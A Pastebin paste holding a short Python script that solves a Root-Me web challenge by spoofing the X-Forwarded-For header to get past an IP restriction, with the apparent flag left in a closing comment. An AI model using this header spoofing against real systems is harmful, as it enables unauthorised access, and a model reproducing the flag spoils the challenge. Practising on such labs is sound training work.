ghost423543

X-Forwarded-For_bypass_IP_restriction

Jul 26th, 2021
916
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import requests
  2. import copy
  3.  
  4. # proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"}
  5. proxies = None
  6. HEADERS = {
  7.     'Accept-language': 'en-US,en;q=0.9,vi;q=0.8',
  8.     'User-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
  9.                   'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 '
  10.                   'Safari/537.36'
  11. }
  12.  
  13. if __name__=='__main__':
  14.     ## https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For
  15.     ## https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Host
  16.     ## https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Forwarded
  17.    
  18.     headers = copy.deepcopy(HEADERS)
  19.     for header in ['X-Forwarded-For']:
  20.         headers[header] = "192.168.0.1"
  21.     resp = requests.request("GET","http://challenge01.root-me.org/web-serveur/ch68/",headers=headers,proxies=proxies)
  22.     print(resp.text)
  23.     ## Ip_$po0Fing
RAW Paste Data